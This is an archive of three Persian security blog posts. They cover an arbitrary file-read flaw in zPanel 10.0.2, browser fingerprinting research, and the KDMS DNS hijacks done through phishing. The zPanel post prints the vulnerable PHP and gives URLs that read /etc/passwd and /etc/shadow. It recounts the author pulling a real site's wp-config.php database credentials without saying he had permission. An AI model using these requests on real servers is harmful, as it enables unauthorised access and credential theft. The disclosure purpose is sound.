ضعف امنیتی zpanel 10.0.2

چند روز پیش داشتم سایتی رو چک می کردم برای مشکلات امنیتیش. زیر دامنه ها رو چک کردم که یکیش صفحه ورود کنترل پنل میزبانی رو می آورد.

بارها و بارها به دوستان و کلاینت ها گفتم که قدم اول هکرها جمع آوری اطلاعاته و سعی کنند که کمترین میزان اطلاعات در اختیار یک هکر قرار بگیره. در این مورد خیلی واضح نرم افزار و نسخه کنترل پنل نوشته شده بود: zpanel 10.0.2

یه جستجوی کوچیک من رو رسوند به نتیجه بررسی های قبلی روی این نسخه و یک ضعف امنیتی خطرناک که عمومی هم شده. بذارید با هم مرور بکنیم مشکل رو تا ببینیم که چه اشتباهات بچگانه و خطرناکی ممکنه توی برنامه نویسی رخ بده.

zpanel یک ماژول داره برای بک آپ گرفتن که این ماژول یه فایل داره برای دانلود فایل های روی سرور. احتمالا برای اینکه ادمین بتونه فایل های بک آپ رو دانلود کنه.

http://www.target-server.com/modules/backupmgr/code/getdownload.php

1	http://www.target-server.com/modules/backupmgr/code/getdownload.php

بذارید یه نگاه به متن فایل getdownload.php بندازیم:

<?php

if (isset($_GET['file']) && $_GET['file'] != "" && file_exists($_GET['file']) && !strpos($_GET['file'], '/')) {
    $filename = $_GET['file'];

    // required for IE, otherwise Content-disposition is ignored
    if (ini_get('zlib.output_compression')) {
        ini_set('zlib.output_compression', 'Off');
    }

    header($_SERVER['SERVER_PROTOCOL'] . ' 200 OK');
    header("Pragma: public");
    header("Expires: 0");
    header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
    header("Cache-Control: private", false); // required for certain browsers
    header("Content-Type: application/zip");
    header("Content-Disposition: attachment; filename=" . basename($filename) . "");
    header("Content-Transfer-Encoding: binary");
    header("Content-Length: " . filesize($filename) . "");
    readfile_chunked($filename);
    //unlink($filename);
    exit();
}

function readfile_chunked($filename) {
    $chunksize = 1 * (1024 * 1024);
    $buffer = '';
    $handle = fopen($filename, 'rb');
    if ($handle === false) {
        return false;
    }
    while (!feof($handle)) {
        $buffer = fread($handle, $chunksize);
        print $buffer;
    }
    return fclose($handle);
}

?>

<?php

if (isset($_GET['file']) && $_GET['file'] != "" && file_exists($_GET['file']) && !strpos($_GET['file'], '/')) {

$filename = $_GET['file'];

// required for IE, otherwise Content-disposition is ignored

if (ini_get('zlib.output_compression')) {

ini_set('zlib.output_compression', 'Off');

}

header($_SERVER['SERVER_PROTOCOL'] . ' 200 OK');

header("Pragma: public");

header("Expires: 0");

header("Cache-Control: must-revalidate, post-check=0, pre-check=0");

header("Cache-Control: private", false); // required for certain browsers

header("Content-Type: application/zip");

header("Content-Disposition: attachment; filename=" . basename($filename) . "");

header("Content-Transfer-Encoding: binary");

header("Content-Length: " . filesize($filename) . "");

readfile_chunked($filename);

//unlink($filename);

exit();

}

function readfile_chunked($filename) {

$chunksize = 1 * (1024 * 1024);

$buffer = '';

$handle = fopen($filename, 'rb');

if ($handle === false) {

return false;

}

while (!feof($handle)) {

$buffer = fread($handle, $chunksize);

print $buffer;

}

return fclose($handle);

}

کامنت ها رو از متن حذف کردم که زیاد شلوغ نباشه. در متن می بینید که با یه دستور شرطی چک می کنه که اگر با متغیر file آدرس فایل وارد شده و اون فایل وجود داره، دستور می ده به یه فانکشن که فایل رو در اختیار کاربر بذاره.

به قول اون ور آبیا WTF

الان کافیه شناختی از ساختار فایل ها و فولدرهای سرور داشته باشیم و یا یکی از سایت های روی سرور مشکلی داشته باشه که مسیر اصلی فایل ها رو نشون بده تا بتونیم هر فایلی رو که می خوایم دانلود کنیم.

بذارید بریم سر اصل قضیه: یوزر و پسورد سرور. در سرورهای لینوکسی، نام کاربری و پسورد ها رو می شه در فایل های passwd و shadow پیدا کرد. البته به صورت هش شده. (وارد جزییات تنظیمات سرور نمی شم چون یه بحث مجزاست)

http://www.target-server.com/modules/backupmgr/code/getdownload.php?file=/etc/passwd

http://www.target-server.com/modules/backupmgr/code/getdownload.php?file=/etc/shadow

http://www.target-server.com/modules/backupmgr/code/getdownload.php?file=/etc/passwd

http://www.target-server.com/modules/backupmgr/code/getdownload.php?file=/etc/shadow

همچنین از این آدرس می تونید یه اسکریپت به زبان پایتون بگیرید که به صورت اتوماتیک بک آپ های سرور رو براتون دانلود کنه. دیگه چی می خوایم واقعا؟

مشکل دیگه ای که این نسخه داره، دسترسی آزاد به فایل daemon.php است که باعث می شه هکرها به اطلاعات حساسی مثل نام های کاربری، دسترسی هاشون و سایت هایی که روی سرور قرار دارند دست پیدا کنه.

http://www.taregt-server.com/bin/daemon.php

1	http://www.taregt-server.com/bin/daemon.php

یه نمونه از خروجی اجرای این فایل رو می تونید اینجا ببینید:

Daemon is now running...
START Apache Config Hook.
Apache Admin module ENABLED...
Apache Config has NOT changed...nothing to do.
END Apache Config Hook.

START DNS Manager Hook
DNS Manager module ENABLED...
DNS Records have not changed...nothing to do.
END DNS Manager Hook.

START MySQL Databases hook
Calculating the total size of all MySQL databases....
END MySQL Databases hook

START Calculating disk Usage for all client accounts..
Disk usage for user "zadmin" is: 32207149120 (31.5 GB)
Disk usage for user "web-admin" is: 0 (0 bytes)
Disk usage for user "****" is: 0 (0 bytes)
Disk usage for user "****" is: 0 (0 bytes)
Disk usage for user "****" is: 0 (0 bytes)
Disk usage for user "****" is: 0 (0 bytes)
END Calculating disk usage

START Calculating bandwidth usage for all client accounts..
Processing domain "****"
Generating bandwidth.. 
usage: 4869238 (4.8 MB)
[...]
END Calculating bandwidth usage

BEGIN Webalizer Stats
Generating webalizer stats html...
Generating stats for: zadmin/****
Webalizer V2.21-02 (Linux 2.6.32-358.18.1.el6.x86_64 x86_64) English
Using logfile /var/zpanel/logs/domains/zadmin/****-access.log (clf)
Creating output in /etc/zpanel/panel/modules/webalizer_stats/stats/zadmin/****
Hostname for reports is '****'
Reading history file... webalizer.hist
Generating report for August 2013
Generating report for September 2013
Generating report for October 2013
Saving history information...
Generating summary report
5638368 records (1751 bad) in 16 seconds, 352398/sec
[...]
END Webalizer Stats

Daemon run complete!

Daemon is now running...

START Apache Config Hook.

Apache Admin module ENABLED...

Apache Config has NOT changed...nothing to do.

END Apache Config Hook.

START DNS Manager Hook

DNS Manager module ENABLED...

DNS Records have not changed...nothing to do.

END DNS Manager Hook.

START MySQL Databases hook

Calculating the total size of all MySQL databases....

END MySQL Databases hook

START Calculating disk Usage for all client accounts..

Disk usage for user "zadmin" is: 32207149120 (31.5 GB)

Disk usage for user "web-admin" is: 0 (0 bytes)

Disk usage for user "****" is: 0 (0 bytes)

END Calculating disk usage

START Calculating bandwidth usage for all client accounts..

Processing domain "****"

Generating bandwidth..

usage: 4869238 (4.8 MB)

[...]

END Calculating bandwidth usage

BEGIN Webalizer Stats

Generating webalizer stats html...

Generating stats for: zadmin/****

Webalizer V2.21-02 (Linux 2.6.32-358.18.1.el6.x86_64 x86_64) English

Using logfile /var/zpanel/logs/domains/zadmin/****-access.log (clf)

Creating output in /etc/zpanel/panel/modules/webalizer_stats/stats/zadmin/****

Hostname for reports is '****'

Reading history file... webalizer.hist

Generating report for August 2013

Generating report for September 2013

Generating report for October 2013

Saving history information...

Generating summary report

5638368 records (1751 bad) in 16 seconds, 352398/sec

[...]

END Webalizer Stats

Daemon run complete!

در اطلاعات بالا به جای دامنه ها ستاره گذاشتم که مشکلی برای سایت پیش نیاد.

از اینجا به بعد دیگه برمی گرده به توانایی و خلاقیت هکر که می خواد چطور جلو بره و تا کجا پیش بره. مثلا در همین مورد خاص روی این سرور یک سایت وردپرسی وجود داشت که با دونستن مسیر قرار گیری فایل wp-config.php، اون رو دانلود کردم و نام کاربری و پسورد MySQL رو به دست آوردم که می تونم باهاش به دیتابیس سرور کانکت بشم (در صورتیکه ورود رو به localhost محدود نکرده باشن) و مشخصات کاربرهای اون سایت رو به دست بیارم.

می بینید که یه اشتباه در بررسی نکردن ورودی ها و یا عدم تنظیم درست Permission ها برای اجرای یک فایل می تونه چه تبعاتی داشته باشه.

خب همین الان برید نسخه کنترل پنل هاست رو چک کنید و اگه ضعف شناخته شده داشت یا به روز نبود از سرویس دهنده بخواید که کاریکه وظیفه اش است رو انجام بده.

پ ن: این پست فقط در جهت نشان دادن ضعف های Zpanel 10.0.2 است و ترغیب برای برطرف کردن مشکلات. لطفا از این مورد برای آسیب رساندن به دیگران استفاده نکنید.

امنیت

سایت های معروف، شما را تعقیب می کنند

همگی تو فیلم های پلیسی دیدیم که یه نفر راه میافته دنبال یکی دیگه و از جاهایی که می ره و آشناهایی که داره سعی می کنه شناساییش کنه و خونه اش رو پیدا کنه، حتی اگه کارت شناساییش رو نبینه. همین کار هم در دنیای دیجیتال اتفاق می افته. سایت ها نیاز ندارند تا IP شما رو بدونن تا شناساییتون کنند. حتی با استفاده از پراکسی هم امکان لو رفتن هویت کاربرها وجود داره.

اگر از ابزارهای آنالیز سایت مثل گوگل آنالیتیکز یا پیویک استفاده کرده باشید دیدی که با ست کردن کوکی، این ابزارها می تونن رفتار مراجعه کننده ها به سایت شما رو شناسایی کنند. به شما بگن کابر از کجا به سایت شما اومده و چه صفحهه هایی رو دیده، چقدر وقت گذاشته تو سایت شما و از کدوم صفحه خارج شده. حتی IP و نام و نسخه مرورگر و سیستم عامل رو هم به شما می گه.

کاربرها برای حفظ حریم خصوصیشون می تونن به سایت ها بگن که من رو تعقیب نکن. با یه تگ در Header ارسالی به سایت و اعلام Do Not Track سایت موظفه مطابق قوانین اقدام کرده و اطلاعات وبگردی شما رو ذخیره نکنه. شاید دیده باشید برخی سایت ها مثل سایت ubuntu به مراجعه کننده می گن که چه کوکی هایی رو توی مرورگر کاربر ذخیره می کنند تا اون حق و حقوق خودش رو بدونه. اما بعضی سایت ها علیرغم خواست کاربر، قوانین رو نقض کرده و شروع به جمع آوری اطلاعات اون می کنن.

کارشناسان امنیتی بریتانیایی در یک بررسی متوجه شدند که ۱۴۵ سایت از مجموع ۱۰ هزار سایت برتر اینترنت از اسکریپت های مخفی برای به دست آوردن اطلاعات دستگاه کاربر از طریق مرورگر استفاده می کنند. یافته های نشون می ده استفاده از این ابزارهای غیرقانونی، گسترده تر از اونیه که پیش از این تصور می شد.

شیوه های استفاده شده برای اثرانگشت برداری از کاربران مجازی شامل جمع آوری اطلاعات دستگاه مورد استفاده می شه. اطلاعاتی مثل سایز مانیتور و رزولوشن، نام دستگاه، نرم افزرها و پلاگین های نصب شده و فونت های نصب شده. تحقیقات موسسه Electronic Frontier Foundation (EFF) در سال ۲۰۱۰ نشون می ده که ترکیب این اطلاعات تقریبا یکه بوده و می تونه به جای کوکی ها برای تعقیب کاربران مورد استفاده قرار بگیره. فلش پلیر و جاوا اسکریپت دو هدف عمده جهت شناسایی دستگاه اند.

تحقیقات نشان داده برخی از این ۱۴۵ سایت گفته شده از شی های فلش پلیری استفاده می کنند که حتی اگر مراجعه کننده از پراکسی استفاده کرده باشه، منجر به شناسایی IP اصلی کاربر می شه. همچنین در این تحقیقات مشخص شد که ۴۰۴ سایت از ۱ میلیون سایت برتر از جاوا اسکریپت برای شناسایی دستگاههایی استفاده می کنند که از فلش پشتیبانی نمی کنند یا فلش را غیرفعال کرده اند. یکی از روش های استفاده شده توسط این اسکریپت ها، یافتن فونت های سیستم با استفاده از ارتفاع و طول رشته های متنی است که به صورت مخفی در صفحات استفاده می شوند.

این تحقیقات منجر به شناسایی ۱۶ ابزار جدید شد که توسط سایت ها به کار گرفته می شود. همچنین مشخص شد که این سایت ها با وجود اعلام کاربر برای تعقیب نشدن با فعال کردنDo Not Track (DNT) HTTP header ، باز هم این کار را انجام می دهند.

محققین Tor Browser و Firegloves رو هم بررسی کردند. با وجود اینکه این دو ابزار برای حفظ حریم خصوصی و جلوگیری از همین ابزارها آماده شده اند اما مشخص شد که برخی نقص ها باعث افشا شدن هویت کاربران این ابزارها خواهد شد.

این محققان برای کمک به کاربران و محققان دیگه به زودی ابزاری رو به صورت رایگان در دسترس عموم خواهند گذاشت که با اون میتونید هر سایتی رو برای پیدا کردن ابزارهای مخفی گفته شده، اسکن کنید. برای جزییات بیشتر می تونید به این آدرس مراجعه کنید

http://homes.esat.kuleuven.be/~gacar/fpdetective/

1	http://homes.esat.kuleuven.be/~gacar/fpdetective/

منبع

امنیت

پرچم فلسطین بالاست

در این یه هفته تا ۱۰ روز گذشته موجی از هک سایت های معتبر رو داشتیم.

گروه Kdms مسئول هک شدن این سایت ها بود. سایت های Alexa، Avira، AVG و Red Tube در مرحله اول و سپس Metasploit و Rapid7 و بعد هم Eset و Bitdefender.

نکته مشترک سایت های گفته شده، سرویس دهنده های دامنه هاشونه. مثلا اون ۴ سایت اول همگی وسیله Network Solutions ثبت شدند. شرایط هک، انگشت اتهام رو به سوی ثبت کننده های دامنه نشونه گرفته و خب درست هم است. مشخص شد که Network Solutions به خاطر فریب خوردن یکی از کارمندهاش در یک حمله فیشینگ، بهش نفوذ شده. هکرها پس از نفوذ به این سرویس دهنده تونستند که DNS دامنه ها رو تغییر بدن به سرورهای خودشون که شامل پیام زیر بود:

بگذریم از حواشی و پیامشون و اینکه در ابتدا کارشناس ها چی فکر می کردن و بعدش به چه نتیجه ای رسیدن. اونها به جای خودش مهمه ولی از دید من نکته مهم تری وجود داره: نقطه شروع هک.

در سری بعدی سایت ها که متا اسپلویت و رپید۷ بود، شیوه تغییر DNS از فیشینگ هم ساده تر بود و یه جورایی شرم آور برای سرویس دهنده. هکرها با ارسال یه فکس تقلبی به register.com اونها رو فریب دادن تا DNS رو تغییر بدن. به قول HD Moore مدیر تحقیقات شرکت امنیتی rapid7 این هک شبیه اتفاق های سال ۱۹۶۴ بوده.

سرویس دهنده هایی در این سطح که کلاینت هایی در سطح جهانی دارند باید دقت بیشتری در سیستم های امنیتی داشته باشند. اول اینکه باید مروری بر دانش کارمندهاشون بکنند. در این شرایط معمولا کارشناس های امنیتی پیشنهاد برگذاری مانورهای امنیتی مثل حملات شبیه سازی شده فیشینگ رو می دن. دوم اینکه الگوریتم ثبت و تغییر اطلاعات کاربریشون رو به روز کنند و مطابق پیشرفت هکرها، خودشون رو ارتقا بدن.

من بارها و بارها در همین وبلاگ در مورد فیشینگ و حدودش گفتم و اینکه یک حمله موفق فیشینگ می تونه چه تبعاتی رو در پی داشته باشه. مهمترین نکته در فیشینگ اینه که کم دانش ترین کارمند شما می تونه کل سیستم رو زمین بزنه.

سایت IBTimes UK تونسته از طریق اکانت توییتر گروه KDMS و سپس از طریق ایمیلشون باهاشون یه مصاحبه رو ترتیب بده. جالبه بدونید که تا قبلا از هفته پیش کسی اسمی از این گروه نشنیده بود.

این گروه که از ۴ فلسطینی تشکیل شده و گویا نگارش انگلیسی خوبی هم نداشتن، گفته اند که ۳ هدف دارن:
آشنا کردن دنیا با فلسطین (از صطلاح قانونی Unlawfully murdered برای فلسطین استفاده کردند)
نشون بدن که امنیت کامل وجود نداره
سایت های معتبر و شناخته شده رو هک کنند تا پیامشون در تمام دنیا شنیده بشه

وقتی ازشون پرسیدن که بخشی از گروه انانیموس اند یا خیر، پاسخ همیشگی گروه های دیگه رو دادند: “ناراحت می شیم وقتی مردم فکر می کنند انانیموس یه گروهه، اون یه ایده است و هر کسی می تونه انانیموس باشه.”

منبع و منبع و منبع

Scriptics

Category Archives: امنیت

ضعف امنیتی zpanel 10.0.2

سایت های معروف، شما را تعقیب می کنند

پرچم فلسطین بالاست